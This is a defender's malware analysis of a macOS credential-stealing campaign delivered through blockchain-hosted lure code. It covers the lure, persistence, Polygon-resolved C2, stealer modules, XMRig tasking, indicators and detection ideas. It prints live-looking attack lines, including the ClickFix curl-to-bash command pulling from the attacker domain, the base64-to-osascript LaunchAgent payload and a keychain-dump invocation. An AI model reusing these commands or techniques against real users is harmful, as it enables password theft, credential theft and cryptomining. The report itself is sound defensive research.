Case summary
I traced this campaign from its blockchain-hosted browser code through the macOS payloads and into the live C2 protocol.
- BSC Testnet contract 1 returned JavaScript. After Base64 decoding and gzip decompression, it ran automation checks, restricted the malicious branch to macOS, generated a visitor ID, and rendered a fake “Performing security verification” page.
- BSC Testnet contract 2 is queried with
eth_call, with the visitor ID as the argument. Ayesanswer means that visitor is finished and the lure is withdrawn. Any other answer lets the lure show. - The lure copied a ClickFix command to the clipboard. Pasted into Terminal, it fetched an AppleScript installer from
<visitor-id>.roxymigurdia[.]wiki. - The installer wrote a LaunchAgent. Its payload is a 4,971-byte AppleScript bootstrap that resolves the C2 host from a Polygon contract and requests
bmodulefrom it, piping the response intoosascript. - The response is the controller. It resolves the C2 again, shows a fake “System Preferences” password prompt until it has a valid password, enrolls the host, uploads an app inventory, and polls for tasks every 120 seconds.
- The server offered three tasks:
runloader(smodule),runlight(lmodule), andopenshell(a server-supplied shell script; XMRig was live during analysis).
The persistent client contains no fixed C2 hostname. At the time of analysis the Polygon contract resolved to jrxciw2[.]xyz.
Attack Chain
BSC Testnet contract 1
↓
Base64 + gzip JavaScript
↓
macOS / headless checks
↓
BSC contract 2: isGoalReached(visitor ID)
↓ "yes" → no lure
fake verification page
↓
clipboard ClickFix command
↓
<visitor-id>.roxymigurdia[.]wiki
↓
obfuscated AppleScript installer
↓
LaunchAgent → bootstrap
↓
Polygon resolver → jrxciw2[.]xyz
↓
bmodule (controller)
↓
password prompt → connect → init → task (every 120 s)
↓
runloader | runlight | openshell
| Chain | Role |
|---|---|
| BSC Testnet | Lure delivery and per-visitor state |
| Polygon | Mutable C2 resolution |
Initial access
The browser-side stage was retrieved from BSC Testnet contract:
0x68dce15c1002a2689e19d33a3ae509dd1feb11a5
The contract response was a wrapper around a Base64-encoded gzip stream:
(async () => {
var b = Uint8Array.from(atob("H4s..."), c => c.charCodeAt(0));
...
new DecompressionStream("gzip");
...
eval(t);
})();
I extracted the atob() argument, Base64-decoded it, decompressed it, and recovered about 93 KB of JavaScript without evaluating it. The script contains the headless check, a visitor-ID helper, the gate function, the macOS condition, and three Base64 blobs: the lure HTML, its CSS, and a second obfuscated script. A short Base64 loader initializes Yandex Metrika.
Environment checks
isHeadless is a score, not a single test. It evaluates seven conditions:
navigator.webdriver === true
/HeadlessChrome/ in userAgent
"PhantomJS" in userAgent
"Puppeteer" in userAgent
"Playwright" in userAgent
window.outerWidth === 0 && window.outerHeight === 0
no window.chrome, no window.safari, and no "Firefox" in userAgent
The script reports headless only when at least two conditions are true and there is no sign of a normal browser. window.chrome.runtime, window.safari, a non-empty navigator.plugins, or a non-empty navigator.languages all count as normal-browser signs.
The malicious branch runs only if the browser is not headless and one of the macOS checks succeeds.

Visitor ID
The visitor ID is stored in the cjs_id cookie with a two-day expiry. If no cookie exists, the script generates an eight-character base-36 value:
(Math.random() + 1).toString(36).substring(2, 10)
A separate function generates a UUIDv4. A third function, generateId(), queries ip-info.ff.avast.com for the public IP, but nothing calls it.
The lure
The lure imitates a Cloudflare challenge: “Performing security verification” and a “Verify you are human” checkbox. It loads Font Awesome CSS from use.fontawesome.com. The footer privacy link still contains an unreplaced __SITE_HOST__ placeholder.
The nested script limits exposure. It stores cf_cap_shows in localStorage as count|timestamp. After three displays within 24 hours it removes the lure elements. A click on the checkbox fires a Metrika goal if the tag loaded:
ym(99162160, "reachGoal", "Click", { clientID: usr_id })

BSC gate: a per-visitor flag
The same script queries a second BSC Testnet contract:
0xf4a32588b50a59a82fbA148d436081A48d80832A
selector 0x24513bb6
RPC: data-seed-prebsc-1-s1.bnbchain[.]org:8545
The function is named isGoalReached. It takes the visitor ID, not a campaign constant. The calldata is the selector, a 0x20 offset word, a length word, and the visitor ID as UTF-8 padded to 32 bytes. The response is decoded as an ABI string and compared with yes.
page load
→ isGoalReached(usr_id)
"yes" → lure not shown
anything else → lure shown, Metrika initialized
RPC failure → returns false, lure shown
click
→ command copied
→ isGoalReached(usr_id) every 1 s
"yes" → lure removed
The call that decides this is the last statement of the decoded script. So yes means stop, not continue.

yes.Execution
The lure assembles a shell command and copies it with document.execCommand("copy"). The decoded template:
/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL \
'${usr_id}.roxymigurdia[.]wiki/?ublib=${uuid__}')"; \
echo ""BotGuard: Answer the protector challenge. Ref: 73282
${usr_id} is the cjs_id value. ${uuid__} is a UUIDv4 generated once at page load. The echo tail prints a fake bot-check message in Terminal after the real command runs.
The response to the curl is another wrapper:
osascript -e "$(echo "<BASE64>" | base64 -d)"
Decoding the embedded Base64 produced the installer AppleScript.

Persistence
The installer is heavily obfuscated with string id {...}, character id N, ASCII character N, string concatenation, and junk assignments.
Once normalized, it writes:
~/Library/LaunchAgents/com.Apple.hkwreoglmheurrkb.plist
The label uses a capital A (com.Apple.); Apple’s own labels are com.apple.. The plist sets RunAtLoad and KeepAlive and runs:
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>echo '<BASE64_BOOTSTRAP>' | base64 -d | osascript</string>
</array>
The installer then runs launchctl unload and launchctl load on the plist.
The bootstrap
The Base64 payload in the plist is not the controller. It decodes to a 4,971-byte bootstrap AppleScript that:
- Tries four public Polygon RPC endpoints in order.
- Sends an
eth_callto the resolver contract and decodes the ABI string. - Posts
txid=<campaign ID>&bmoduletohttps://<resolved host>and pipes the response intoosascript.
It does not write the response to disk. Because the LaunchAgent has KeepAlive, the controller is fetched fresh from the C2 each time the bootstrap runs.

bmodule.Command and control
The bootstrap and the controller both resolve the C2 from Polygon through these public RPC endpoints:
polygon.drpc[.]org
polygon.publicnode[.]com
polygon-mainnet.gateway.tatum[.]io
tenderly.rpc.polygon[.]community
The request targets contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 with selector 0x2686ecea. During analysis, the ABI result decoded to jrxciw2[.]xyz.
The malware’s own parser is a shell one-liner: it reads the length from bytes 64–127 of the result and the string from byte 128 on, with xxd -r -p. It does not read the offset word.
The C2 can change without touching the LaunchAgent. This only covers the host the bootstrap and controller poll. The module scripts the server returns hardcode jrxciw2[.]xyz for helper download, init upload, and exfiltration, so the server has to serve updated modules when it rotates.

Controller
The controller is the script returned for bmodule. It repeats the Polygon lookup, then runs the main enrollment and tasking loop.
Health check
POST /
check
→ success
Password prompt
Before it enrolls, the controller needs a valid account password. It reads ~/.passphrase. If the file is missing or the password no longer validates, it shows a dialog titled System Preferences asking for the account password. It validates each answer with:
dscl . authonly <user> <password>
and re-prompts until one validates. It first tests an empty password, and if that works, writes nopassphrase. A valid password is written in plain text to ~/.passphrase.
By static reading, the controller does not enroll until this step succeeds. Both stealer modules read ~/.passphrase, write the username and password into the exfiltrated archive, and lmodule passes the password to the native helper’s --keychain-pw option.
Enrollment
uuid=<uuid>
username=<username>
txid=<txid>
connect
The server returned newconnect for the synthetic identity. The controller also handles connected. The newconnect branch writes ~/.txid and runs tccutil reset All. I recovered that branch statically and did not execute it.
Discovery
The controller recovers the hardware UUID with ioreg and system_profiler fallbacks and accepts a result only if it is 36 characters and contains hyphens. The username falls back through whoami, id -un, echo $USER, logname, and finally the literal administrator.
It then requests txid=<txid>&init and pipes the response into bash. The live init script inventories *.app bundles directly under /Applications and /System/Applications, queries kMDItemCFBundleIdentifier with mdls, filters out com.apple. bundle IDs, and posts the remaining app names back as multipart form data.
Tasking
The controller polls every 120 seconds with uuid, username, txid, and task. It recognizes notasks, runloader, runlight, and openshell.
| Response | Request | Executed as |
|---|---|---|
notasks | none | none |
runloader | txid=<txid>&smodule | ... | osascript |
runlight | txid=<txid>&lmodule | ... | osascript |
openshell | uuid=...&username=...&txid=...&shell | ... | bash |
Each task runs inside detached nohup sh -c with output sent to /dev/null. A task the server keeps returning can therefore run every two minutes. The live C2 returned runloader.

Collection
Both modules stage data under random-looking directories, zip it with ditto -c -k --sequesterRsrc, and upload it. Both write the same banner:
Essential macOS Stealer
Build: GETWELL
The banner is shared. What differs is how each module collects.
| smodule (runloader) | lmodule (runlight) | |
|---|---|---|
| Staging | /tmp/c8d3b96e…1791072779/ | /tmp/be743b04…1791072780/, deleted after zipping |
| Browser data | AppleScript copies files | Native helper, archive -o <staging>/browsers |
| Keychain | macOS 26.4+: Safe Storage secrets; older: login.keychain-db | Native helper, dumpkeys with the phished password |
| Extensions | Settings and IndexedDB | Same extension map under Cryptowallets/ and Extensions/ |
| Desktop wallets | Yes | Yes |
| Telegram / Notes | Yes | Yes |
| Files | Desktop + Documents; 250,000 B/file; 5,000,000 B total | Desktop + Documents + Downloads; 0.5 MiB/file; 10 MiB total |
| Upload | /upload.php | /contact.php |
The staging names are 32 hex characters followed by a 10-digit Unix timestamp. The two timestamps are one second apart and decode to 2026-10-04 00:12:59 and 00:13:00 UTC. Treat the paths as a pattern rather than fixed IOCs.
Browsers and extensions
smodule handles Chrome, Chrome Beta, Chrome Canary, Chrome Dev, Chromium, Brave, Edge, Vivaldi, Opera, Opera GX, and Yandex. Per Chromium profile it copies Cookies, Web Data, Login Data, History, Local Extension Settings, and IndexedDB. Firefox profiles are handled separately and include credential, cookie, form-history, and places databases.
The extension map has 197 IDs covering wallets, password managers, and authenticators. Representative wallet targets include MetaMask, Trust Wallet, Phantom, Coinbase Wallet, Exodus Web3, Keplr, Leap, SafePal, OKX, Ronin, MathWallet, and TronLink. Password-manager targets include 1Password, Bitwarden, Keeper, Proton Pass, NordPass, Enpass, Dashlane, LastPass, iCloud Passwords, and Kee Password.
Credential access in smodule
The branch depends on the macOS version. The check is major > 26, or major = 26 and minor ≥ 4.
macOS 26.4 and newer
_VDYUMcg8B15 loops over Chrome, Microsoft Edge, Brave, Opera, and Vivaldi Safe Storage services. For each service it first checks existence with security find-generic-password -s, then loops on security find-generic-password -w -s with a 0.1 second delay until it succeeds. Results are written to Secrets.
Older macOS
The module copies ~/Library/Keychains/login.keychain-db. Combined with the phished password, that gives the operator the material needed for offline processing.
lmodule
lmodule checks the architecture with sysctl -n hw.optional.arm64 and downloads one of:
hxxps://jrxciw2[.]xyz/es-arm
hxxps://jrxciw2[.]xyz/es-x86
The binary is saved as /tmp/<staging-name>-tool/extractor and prepared with chmod +x, xattr -dr com.apple.quarantine, and codesign --force --sign -.
If ~/.chainblob256 already exists, lmodule reuses it. Otherwise it invokes the helper as:
extractor dumpkeys -o ~/.chainblob256 --keychain-pw <contents of ~/.passphrase>
and copies the result to <staging>/bkeylist. Browser data goes through extractor archive -o <staging>/browsers. The helper and tool directory are deleted afterward. I did not retrieve the helper, so its internal behavior remains unknown.

Other collection
Safari. smodule contains a second Base64 AppleScript that uses Finder to copy Cookies.binarycookies into a temporary folder before moving it into staging.
Telegram. The tdata directory under Telegram Desktop is copied recursively.
Apple Notes. smodule asks Notes for note names and plaintext. lmodule pulls every note body and converts the HTML to text.
FileGrabber. smodule searches Desktop and Documents with 250,000-byte per-file and 5,000,000-byte total caps. lmodule searches Desktop, Documents, and Downloads for selected document/configuration extensions, caps individual files at 0.5 MiB and total collection at 10 MiB, and packs them into a .tgz.
System information. Both modules record the username, plaintext password, public IP from api.ipify.org, and system_profiler output for software, hardware, and displays.
Exfiltration
smodule uploads its archive to hxxps://jrxciw2[.]xyz/upload.php. lmodule uploads to hxxps://jrxciw2[.]xyz/contact.php. Both use multipart form data containing campaign and host identifiers.
For archives over 90 MiB, smodule goes straight to plain HTTP at hxxp://62.60.226[.]50/upload.php with a long timeout. For smaller archives it tries the domain first and falls back to the IP on error. lmodule has no IP fallback; it retries the same domain endpoint with a longer timeout.
controller protocol → /
smodule exfiltration → /upload.php (fallback: 62.60.226[.]50)
lmodule exfiltration → /contact.php
Command execution
openshell returns a server-supplied shell script. At the time of analysis it deployed XMRig.
- Runs
killall xmrigfirst. - Downloads XMRig 6.26.0 from the official GitHub release for
arm64orx86_64into/tmp/rigupdater, with no hash check. - Deletes the bundled
config.json. - Sets threads to logical CPUs minus 2, with no lower bound.
- Starts the miner with
nohup,-k, and--tls, using the architecture string as the worker password.
pool.hashvault[.]sh:443
4ApYm7Cp1QKHYd34eWHTLMR9JwGxEiPkP5GYNbD7UaGUBsAE31oRt8zbCiz7yV6BbHa5mZUGYxeMRbihPXxo9o3vNWJxx2L
Because the controller re-dispatches the task on every poll, the killall followed by a fresh download and launch repeats every cycle while the server keeps returning openshell. The response was saved and inspected only.
Defense evasion
Sandbox avoidance. The browser code scores headless indicators before showing the lure, and the lure caps itself at three displays per 24 hours.
Masquerading. The LaunchAgent label uses com.Apple..
Obfuscation. AppleScript stages use character IDs, ASCII IDs, string concatenation, junk assignments, Base64, and gzip.
Trust bypass. lmodule strips the quarantine attribute from the helper and ad-hoc signs it.
No on-disk controller. The bootstrap pipes the controller directly into osascript.
Cleanup. lmodule removes its helper and staging directory. Detached nohup sh -c runs with output sent to /dev/null.
Social engineering. The ClickFix command prints a fake bot-check message, and the controller’s password prompt is titled “System Preferences”.
Impact
The recovered modules support browser-data theft, wallet and password-manager collection, Keychain and Safe Storage access, Telegram session theft, Apple Notes theft, bounded local-file collection, capture of the user’s account password, and arbitrary shell execution. The live openshell task was resource hijacking through XMRig.
Because the shell task is server-supplied, the controller is not limited to the payload observed here.
Attribution and overlap
Third-party reporting overlaps with this infrastructure:
- ThreatFox lists
jrxciw2[.]xyzasbotnet_cctagged AMOS and references the same Polygon resolver contract, and separately aspayload_deliverytagged ClearFake. Those tags are submitter-supplied. - VirusTotal flags
62.60.226[.]50and a community comment from roughly a month before this analysis labels it “Essential macOS Stealer Campaign”. - Passive DNS for
62.60.226[.]50showed no overlap withjrxciw2[.]xyzorroxymigurdia[.]wiki.
The samples label themselves “Essential macOS Stealer” with build tag GETWELL. I did not attribute them to a family. The banner and the IP predate this capture, so the toolkit is not unique to this chain. What is distinctive here is BSC delivery with per-visitor state and Polygon-resolved C2.
MITRE ATT&CK
| Behavior | ATT&CK |
|---|---|
| User pastes command into Terminal | T1204.004 – Malicious Copy and Paste |
| Unix shell execution | T1059.004 – Unix Shell |
| AppleScript execution | T1059.002 – AppleScript |
| LaunchAgent persistence | T1543.001 – Launch Agent |
com.Apple. label | T1036.005 – Match Legitimate Resource Name or Location |
| Headless / automation checks | T1497 – Virtualization/Sandbox Evasion |
| Base64, gzip, AppleScript decoding | T1140 – Deobfuscate/Decode Files or Information |
| Blockchain contract resolves C2 | T1102.001 – Dead Drop Resolver |
| Fake password dialog | T1056.002 – GUI Input Capture |
| Quarantine removal | T1553.001 – Gatekeeper Bypass |
| Download helper and miner | T1105 – Ingress Tool Transfer |
| System and user discovery | T1082, T1033 |
| Application inventory | T1518 – Software Discovery |
| File enumeration | T1083 – File and Directory Discovery |
| Local file collection | T1005 – Data from Local System |
| Keychain | T1555.001 – Keychain |
| Browser credentials | T1555.003 – Credentials from Web Browsers |
| Cookie theft | T1539 – Steal Web Session Cookie |
| HTTP/HTTPS C2 | T1071.001 – Web Protocols |
| Archive collected data | T1560 – Archive Collected Data |
| Exfiltration over C2 channel | T1041 |
| File deletion | T1070.004 – File Deletion |
| Resource hijacking | T1496 |
Indicators of compromise
Blockchain
BSC delivery: 0x68dce15c1002a2689e19d33a3ae509dd1feb11a5 BSC per-visitor gate: 0xf4a32588b50a59a82fbA148d436081A48d80832A selector: 0x24513bb6 Polygon resolver: 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 selector: 0x2686ecea
Network
roxymigurdia[.]wiki jrxciw2[.]xyz 62.60.226[.]50 pool.hashvault[.]sh:443 mc.yandex[.]ru C2 paths: / /upload.php /contact.php /es-arm /es-x86
Campaign
txid: 9192f58d10f0c9b90e08c6836b089999 Yandex Metrika: 99162160 Clipboard tail: BotGuard: Answer the protector challenge. Ref: 73282 Cookie: cjs_id localStorage: cf_cap_shows
Host artifacts
~/Library/LaunchAgents/com.Apple.hkwreoglmheurrkb.plist ~/.passphrase ~/.txid ~/.chainblob256 ~/tempFolderC/Cookies.binarycookies /tmp/errorlog-es /tmp/updstat.txt /tmp/1-u.txt /tmp/2-u.txt /tmp/3-u.txt /tmp/rigupdater/
Staging pattern
32 hex characters + 10-digit Unix timestamp Observed: /tmp/c8d3b96efcf356dd915bcb08f3d0e1181791072779/ /tmp/be743b04c659d5256d89ed3824513a551791072780/ /tmp/be743b04c659d5256d89ed3824513a551791072780-tool/extractor <staging>/bkeylist <staging>/browsers/ <staging>/runtimelog.txt
Markers
Essential macOS Stealer Build: GETWELL runloader runlight openshell bmodule smodule lmodule Monero: 4ApYm7Cp1QKHYd34eWHTLMR9JwGxEiPkP5GYNbD7UaGUBsAE31oRt8zbCiz7yV6BbHa5mZUGYxeMRbihPXxo9o3vNWJxx2L
Detection opportunities
Relationships between behaviors outlast any hostname.
Polygon resolution
Look for curl, bash, or osascript sending JSON-RPC eth_call requests containing the resolver contract or selector. The shell parser using sed, ${h:64:64}, and xxd -r -p is also distinctive.
LaunchAgent persistence
A user LaunchAgent in ~/Library/LaunchAgents with RunAtLoad and KeepAlive whose arguments are /bin/bash -c "echo '<b64>' | base64 -d | osascript". A com.Apple. label with a capital A is a cheap extra signal.
Bootstrap and controller protocol
Look for curl requests containing &bmodule, &smodule, &lmodule, &shell, &init, &task, or &connect followed by piping into osascript or bash.
Password phishing
osascript showing a display dialog titled “System Preferences” with a hidden answer, followed by dscl . authonly and a write to ~/.passphrase.
Credential helper
download executable
→ chmod +x
→ xattr -dr com.apple.quarantine
→ codesign --force --sign -
→ dumpkeys --keychain-pw
Safe Storage
osascript spawning repeated security find-generic-password -w -s "<Browser> Safe Storage" calls at roughly 0.1-second intervals on macOS 26.4 and newer.
Exfiltration
Multipart uploads to /upload.php or /contact.php, and plain-HTTP uploads to 62.60.226[.]50.
Miner deployment
killall xmrig, a download from the official XMRig GitHub release into /tmp/rigupdater, then xmrig with --tls, -k, and architecture in the -p argument.
Clipboard command
A Terminal command shaped like /bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '<id>.<domain>/?ublib=<uuid>')" followed by a fake BotGuard echo.
Closing
The chain has several independently replaceable pieces. BSC Testnet supplies the lure and a per-visitor flag that retires it. ClickFix gets the first command into Terminal. AppleScript installs a small bootstrap, and that bootstrap is embedded in the LaunchAgent plist. Polygon tells the bootstrap where the current C2 is, and the C2 serves the controller. The controller takes the user’s password and enrolls the host. The server then picks the stealer module, the native helper, or a shell workload.
smodule → AppleScript stealer
lmodule → stealer + native extractor (GETWELL)
openshell → XMRig observed during analysis
Domains and payloads can rotate without changing the workflow. For hunting, follow the sequence:
browser → BSC → clipboard → Terminal → osascript → LaunchAgent
→ Polygon eth_call → resolved C2 → bmodule → password prompt
→ task polling → collection → multipart exfiltration → shell workload
That sequence should outlast any single hash or hostname.